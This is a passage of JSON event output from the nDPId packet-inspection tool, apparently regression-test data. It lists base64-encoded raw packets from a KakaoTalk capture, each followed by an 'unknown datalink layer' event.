packet","thread_id":0,"packet_id":1235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":341956,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFwcqAbDJZfq06Q1SapdrbDMiRfjocufsD80uUgQ1nzXPxtmcsbdbndr97VZjXMWqHM\/WyjCnn\/vI0DWy48aGy"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1236,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":381812,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF8AAEAAQBHaQwoYUrwByQGuKBxaBgBLSeqAbDJafq0+A1Sapdq1Id+EGxGLINmre4d8OlHiD3QVomUlq4X\/VhIpeuOjJ2bahnPLU21rMN4LtY\/vrT2wE4CLNjKf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1237,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00571{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":412024,"pkt_caplen":196,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":196,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALQAAEAAPxHa7goYUrwByQGuLDhaBACg0yWAbE\/Uiz3cWguGVRmZqFwAVM5Oj2s7QYODbo\/QmjSieKUZcFyzQXFaoZn5n0vbVXUbUJ75c48BgSmeCbnyNezBj+mqI32ZHYGODMmv0vdX+Y1AICMQ3DZwpjtsolXVoQ64UQbP0L5YKIQGFoRvMgiRQmgc8Iqf3U0fymhqBlBxbgfAQoLOr6KqEAlphk7hM6P\/OFxZ32FUFg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1238,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00552{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":412085,"pkt_caplen":181,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":181,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKUAAEAAPxHa\/QoYUrwByQGuLDhaBACRibuAbE\/Viz3gGguGVRnYHjdSXiq4iv9nO6GzHtT8o9LELOnSmgdM30PayZJS1C5eFQLPj6EObkdWI5LtEvjdZNsiqPN\/HOt\/yFNSvurEuX3yJpRV0+3oT3yvmbrpBEApeqf3TRc4uupgAf9GCkcEFYO9N05zd+uEUqPlhLMtxPgSady+to38rsSDYQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1239,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":412116,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHRH9DgHJAa4KGFK8WgQsOABYsaGAbDJRfq0cQ1Sapdr3hsT7snaruG1AdBDyJqHnAK5LaNVBaUWwg4GyQFG2aNj7EZio4DBZ1aTRg\/RLdOc6IruFzLIJJHsrQNimWJE0C+48Kw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1240,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":447364,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHRH9FQHJAa4KGFK8WgQsOABR\/pGAbDJSfq0gA1SapdoNX\/YBV+wNjMfKt1S7PNWJ3uHYd\/E+dZMDSWSPfUNV9qTU6hLurH2\/Ga\/S+B9RhFlotjxx5vygpsoVlMjl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1241,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00445{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":478278,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAQBHaSwoYUrwByQGuKBxaBgBD4vqAbDJbfq1Bw1SapdpgesJfhEyC5dHZVn0YqEYLl9PwidBAx\/BIEAP994oFn8VkBjR3ETmlC0ULo3s9ow=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1242,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":491980,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACdl7iAbE\/Miz2+WguGVRn5ZY2Z5qNNpqDs3822fgDVMi6VC\/WQ2w6s4BOZYkyuENV12PyJRkAmkSvK3cETXfOaCty7tA5h7zdcJVWBbAbqtj10o9kDv2vdeghV1QpWFtULXrlFwbRGcK46BPJtrTLYT82JlY9TUudM2Gfg5GH0XqimYoVKMHOMh03wOfVXIfVYeKLt3QZ84w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1243,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00569{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":492133,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALEAAEAAHBH9yQHJAa4KGFK8WgYoHACdTbKAbE\/Niz3CGguGVRkqsuJemWbGGwwBf6nQL1wFf9kHnV1NSPIXV\/RI4Iwl5vWBre6MW7q079X73Fy9kKRmAvlvwqw8UIXoPsackG4U4juq2K3iJ9s6f2Iw8t14okmbiX6rrWc+ov+eXg0JMLBJ0W59wrkZ\/M2cDWjxAlyvRspRg5LTAEZZ09OsZNeh\/oEiJMUHjg2\/Ug=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1244,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":508246,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMkAAEAAHBH9sQHJAa4KGFK8WgYoHAC1Z+aAbE\/Piz3JmguGVRnDAEcgLr2GAZBsrBtJzx+WZrwowLea71CKE3r5ZQ1nHNtWluSxP70\/YnzCMSPuncZ\/GYyBSC7N5OBHkIEHyxfDMpzD7b\/LxvWFAhnkLP69JfAMpRrPJV6WYi7b9Or7V3F9cYMCR6hvVLZApO+Vah\/EqEydbETBYZpnsEGYPc6m2wBAXTO\/S218KDrRUH5I7xLxnVpnnmtS1uUyPZ9PWZC2jA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1245,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00580{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":508399,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHBH9wQHJAa4KGFK8WgYoHAClr\/CAbE\/Oiz3F2guGVRm4JreS0PrFtpfwDfC2u5HL8uape+jXyal1\/Mj5xQUrftNcniS4IPozvmxqK21\/rkaKxE+4eAse9R5iVIxWztrk5vw159scCuKL6rssEnOusCRaE\/tXsSM\/dy8Gxd1f6JukzzbIgWiFH5Q5ofb\/UhzxzSSgHmJEtNYppWcunH37Wxo9TlVBV\/FfCbitD9p7ZU2D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1246,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00458{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":508490,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHRH9GQHJAa4KGFK8WgQsOABN7CqAbDJUfq0ng1Sapdpoz8vb1t7EA+Pk+CL5Ne3NyNhNNxlYaLExwMqnGvNpdiyQOOmk1h8MWCt\/wW6mrjfCfB\/ZT6nKkBM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1247,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":508643,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFoAAEAAHRH9IAHJAa4KGFK8WgQsOABG5oKAbDJVfq0rQ1SapdpQp\/AhDCX1T1UBzOuRtJdbDtGHSvd7misTrItHQ\/6ri6xtOhqiclep2MMxm9R6j1xI2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1248,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":508765,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGAAAEAAHRH9GgHJAa4KGFK8WgQsOABMFT6AbDJTfq0jw1Sapdqg9REBnOrExdlpeAZQE+uBrFNU0BQmY5elDnB8Y6D+yGe+ADt7xEbGLfipBNJts1mTFSjfYNV+Vg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1249,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00575{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":514319,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALkAAEAAPxHa6QoYUrwByQGuLDhaBAClJTiAbE\/Wiz3j2guGVRlx\/n3shVKsKe6Bcr2Was5riOIuL3qeg9AVTSjpniO39x7iDFyWeczRxRYpcEKs69IPVywSBc40IV\/QgbLnssEA8DF0TP8m5wkFLoM13OpF4TVqUBmMDC8RuipfkR7mkccJqkwltGhH2FMpgBbSK3yvFQruTr+wXlUyhZfsXhi6kYQKEI6PRV0qrE8LCSYgz2nP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1250,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":524451,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/7Z2AbDJcfq1Fg1SapdpSXTAEINK47C16hvWmBf6mJ9+hezm2A\/6DWWs53rtV8BF3U+47+fkqgeHC"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1251,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":565009,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/xrqAbDJdfq1JQ1Sapdqgcd7UwOc5orI7w1jnUpe6gsp08sSP79Rd2zCMk803quP+D3klMh+em1yZ"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1252,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00582{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":614722,"pkt_caplen":204,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":204,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALwAAEAAPxHa5goYUrwByQGuLDhaBACo4tuAbE\/Xiz3nmguGVRlcQ8j\/Fj23ZqPmZ\/Pit+HHzzMChY9uT+nPn8lxvR8+HmsK6wZeUfoLQg\/sdfFLMDeWc9ck7CKWBgOBNwvSe5+yyZ6tGyKwXZE4QdK80pat7\/7K5ICXBiOv2k3n9f1LZEB\/iZedhuWcvYXJLVcZrDiTHLaCoBLCc4pQmOexR9OAajW5qMCQOSBgioaijUwdFz3RzVHz"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1253,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":614905,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALMAAEAAPxHa7woYUrwByQGuLDhaBACfk4+AbE\/Yiz3rWguGVRmoussqm9dbBM35\/+hPGuhVT1GRqMC0QLEoBUTRZ4PEAMkgUnSyLECxgjWJutwaVgXvSFeNh3LwZWQ0dKFhARGgv35+sQ9nRHR2ITNNndDXfvQZxnaHoaDSgc0xggxmdpOqNHaH0Wfk4MBYyjhow8bRtaBdo6K3EAY9srKZ4drgq8neGEP1nG1gXG0m"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1254,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":643866,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/6C2AbDJefq1NA1SapdpnNY9AKsOJlZUVWC8JqaWyHRYkS8G5oyotSwmSJwMPAYxe8EQGVmX9qVbP"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1255,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00437{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":683417,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/\/T2AbDJffq1Qw1Sapdpf1weSmFqb2lsR5Y3D3waTeHbH+MkFFP6x5BJirw3tV4XOtx9tia\/94c1B"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1256,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00548{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":713385,"pkt_caplen":179,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":179,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAKMAAEAAPxHa\/woYUrwByQGuLDhaBACP6hSAbE\/Ziz3vGguGVRlZvEJNWKBc0GA2txE1fCfCbOkbltV7PNF5nTMRfwXddf5OMGYmxmzlEetJx3EeZM3g1+aKQl5JX+I2c+DZ7N5DALLXJGYQbb7lLOuToJSVA7ZKgPtKGJAmppHoemA6RI3fe5bjsOINief\/zH880\/4FieEqV8IbCm6aWI0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1257,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":713629,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIJzCAbE\/aiz3y2guGVRmnd1z2m5lpgqzl9OrgEVIUFuWNEpZJawBdqqbOLUdj55CZR++\/5EhPB6nszmYafQzJj6hS"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1258,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":784949,"pkt_caplen":103,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":103,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFcAAEAAQBHaSwoYUrwByQGuKBxaBgBDlj+AbDJgfq1Ug1Sapdrh+0c2z9sekuW51\/MN+ogweW6j7m2n\/XDty1luWGEDa9oxdUSJ+rCfX8ZF67aRiQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1259,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":812964,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJVaeAbE\/biz32mguGVRmiU5S0jTnPG0P6pDItq5k\/jdBorJDq6LFXhwC9wXg7BYUsf1y6wRBvvVLZdA\/+80PqVgkCrA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1260,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":821540,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGOoWAbDJhfq1YQ1SapdoYQjo8uLcBuN3HLgsu2Ll9L48NiVj96RxRmuTRziGIbugjdcSw5wU+0kn8RxfLdNfhsw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1261,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":858466,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBI7XaAbDJifq1cA1SapdqVaB8wcX8OxruHx7VMCNTNZimmU62WFbCbQDPkWwyDoR7UW0E1HpfrVaHN84OvgM8nKrqf"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1262,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":912055,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKpBeAbE\/ciz36WguGVRm0Kjh6vxu9i84xpuevO8Reml+7ISAEMrahTDASGcD6Zt0tJb8RXPW2BRqrTymvkMhl3n2ihhY="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1263,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":912207,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGRqGAbE\/diz3+GguGVRnD1Hc4pGsorAHgSR4n7lI528+sZk8Kp5gCoqh0bLIP5geZs0h7c0BqtL4Pj4tjIpq7GQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1264,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00444{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":965186,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAQBHaSQoYUrwByQGuKBxaBgBFK9uAbDJjfq1fw1SapdqJstZNzV1MEaNpUhhu7cmHl8qdiCyI3JYbraQSpRU8LwnEUArwuoez38aG+K2q8eEG"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1265,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00446{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":2295,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAQBHaRgoYUrwByQGuKBxaBgBI1GOAbDJkfq1jg1SapdoesWOoBZvRSfsHbgK1qwAlEcrNQK+1GUNCl67m0DetaxCNE7WmfZQz73w6SvC108D4OORt"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1266,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":11969,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGBBSAbE\/eiz4B2guGVRnICByUM+w0dgUPh4A1ZGpfFJ5SBxTaOgBVWRmuiYa4FSZ6CpeWCJED0sL6B9eIpW7Vbg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1267,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069189,"pkt_ts_usec":12122,"pkt_caplen":107,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":107,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFsAAEAAPxHbRwoYUrwByQGuLDhaBABHd4GAbE\/fiz4FmguGVRkbZ0fzpzYu68Oo+H8yDveDPpjj3mMgMHy6de19NFG3Ryd+sq73IqUGhA+uLt+NOk1TTGE="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1268,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 